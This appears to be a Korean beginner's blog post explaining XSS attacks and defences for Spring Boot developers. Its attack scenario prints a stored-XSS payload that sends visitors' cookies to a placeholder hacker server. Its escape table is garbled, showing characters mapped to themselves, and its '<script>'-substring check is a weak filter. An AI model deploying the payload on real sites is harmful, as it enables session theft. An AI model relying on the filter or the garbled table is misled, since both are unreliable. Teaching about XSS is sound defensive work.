XSS 공격이란
✈️ XSS(Cross-Site Scripting) 공격이란
🎯 개요
공격자가 웹사이트에 악성 스크립트(JavaScript)를 심어두는 공격 다른 사용자가 그 페이지를 열면 악성 스크립트가 실행되어 쿠키 탈취, 계정 도용 등 심각한 피해 발생 가능
📋 목록
- XSS란?
- 선물 상자 비유로 이해하기
- XSS 공격의 종류
- 실제 공격 시나리오
- XSS로 할 수 있는 악성 행위
- 방어 방법
✏️ 알아야 할 내용
- Postman으로 서버에 직접 요청을 보낼 수 있음
- 그래서 서버에서 반드시 검증해야 함
- XSS도 서버 검증이 없으면 발생하는 문제
✏️ XSS란?
- Cross-Site Scripting의 약자
- CSS와 헷갈려서 XSS라고 부름
- 공격자가 웹사이트에 악성 스크립트(JavaScript)를 심어두는 공격
- 다른 사용자가 그 페이지를 열면 악성 스크립트가 실행됨
✏️ 선물 상자 비유로 이해하기
상황 설정
게시판이 있는 커뮤니티 사이트를 운영 중이라고 가정
정상적인 게시글
“오늘 날씨가 좋네요”
그냥 텍스트가 보임 아무 문제 없음
악성 게시글 (XSS 공격)
“오늘 날씨가 좋네요
<script>악성코드</script>”
겉으로는 평범한 게시글처럼 보임 하지만 누군가 이 글을 열면 숨겨진 스크립트가 실행됨
비유로 설명
- 정상 게시글 = 일반 선물 상자
- XSS 게시글 = 선물 상자인 척하는 폭탄
- 열어보는 사람(피해자)이 당함
- 게시글을 올린 공격자는 멀리서 지켜보기만 함
✏️ XSS 공격의 종류
| 종류 | 설명 | 예시 |
|---|---|---|
| Stored XSS | 악성 스크립트가 서버 DB에 저장됨 | 게시글, 댓글, 프로필에 스크립트 삽입 |
| Reflected XSS | URL 파라미터에 스크립트를 넣어서 전달 | 검색어에 스크립트 삽입 후 링크 공유 |
| DOM-based XSS | 브라우저에서 JavaScript로 처리할 때 발생 | 클라이언트 측 스크립트 취약점 |
💡특이사항
초보 개발자가 가장 자주 마주치는 건 Stored XSS 게시판, 댓글 기능 만들 때 주의해야 함
✏️ 실제 공격 시나리오
1단계: 공격자가 게시글 작성
<script>
fetch('https://해커서버.com/steal?cookie=' + document.cookie);
</script>
이 스크립트는 페이지를 여는 사람의 쿠키(로그인 정보)를 해커 서버로 전송함
2단계: 서버가 그대로 저장
서버에 검증 코드가 없으면 이 스크립트가 DB에 그대로 저장됨
3단계: 다른 사용자가 게시글 열람
철수가 이 게시글을 열면
- 브라우저가 스크립트를 실행함
- 철수의 쿠키가 해커 서버로 전송됨
- 해커가 철수의 계정을 탈취함
결과
- 철수는 그냥 게시글을 읽었을 뿐
- 하지만 로그인 정보가 탈취됨
- 공격자가 철수인 척 활동 가능
✏️ XSS로 할 수 있는 악성 행위
- 로그인 세션(쿠키) 탈취
- 가짜 로그인 폼을 띄워서 비밀번호 수집
- 사용자 몰래 글 작성, 삭제, 수정
- 다른 사이트로 강제 이동
- 키보드 입력 감시
- 악성코드 다운로드 유도
🔄 직접 API 공격과 비교
| 구분 | 직접 API 공격 | XSS 공격 |
|---|---|---|
| 공격 대상 | 서버 | 다른 사용자 |
| 공격 방식 | 직접 API 요청 | 악성 스크립트 삽입 |
| 피해자 | 서버/서비스 | 게시글을 열어본 사용자 |
| 방어 위치 | 서버에서 권한 검증 | 서버에서 입력값 검증/이스케이프 |
💡특이사항
둘 다 결국 서버에서 검증해야 막을 수 있음
✏️ 방어 방법
1. 입력값 이스케이프 처리
사용자가 입력한 특수문자를 변환해서 저장
< → <
> → >
" → "
' → '
변환 후 결과
<script>악성코드</script>
이렇게 저장하면 브라우저가 스크립트로 인식하지 않음 그냥 텍스트로 보여줌
2. Spring Boot에서의 처리
Thymeleaf 템플릿 엔진 사용 시 기본적으로 이스케이프 처리됨
<!-- 자동 이스케이프 (안전) -->
<p th:text="${content}"></p>
<!-- 이스케이프 안 함 (위험) -->
<p th:utext="${content}"></p>
💡특이사항
th:utext는 HTML을 그대로 출력하므로 XSS에 취약함 꼭 필요한 경우가 아니면 사용하지 말 것
3. 입력값 검증
애초에 스크립트 태그가 들어오지 못하게 막음
if (content.contains("<script>")) {
throw new IllegalArgumentException("허용되지 않는 입력");
}
4. Content Security Policy (CSP) 헤더
브라우저에게 “이 페이지에서는 인라인 스크립트 실행 금지”라고 알려줌
Content-Security-Policy: script-src 'self'
✏️ 검증 위치별 비교
| 검증 위치 | 역할 | 한계 |
|---|---|---|
| 프론트엔드 | 사용자 실수 방지 | Postman으로 우회 가능 |
| 백엔드 | 실제 보안 | 반드시 필요 |
| DB 저장 전 | 악성 데이터 차단 | 이스케이프 처리 필수 |
| 출력 시 | 이스케이프 처리 | 템플릿 엔진 설정 확인 |
💡 요약
- XSS는 공격자가 웹사이트에 악성 스크립트를 심는 공격
- 다른 사용자가 해당 페이지를 열면 스크립트가 실행됨
- 쿠키 탈취, 계정 도용 등 심각한 피해 발생 가능
- 서버에서 입력값을 검증하고 이스케이프 처리해야 방어 가능
- 프론트엔드 검증만으로는 절대 막을 수 없음
게시판 만들 때 “누가 스크립트를 넣겠어?”라고 생각하지 말 것 인터넷에는 항상 그런 사람이 있음
댓글남기기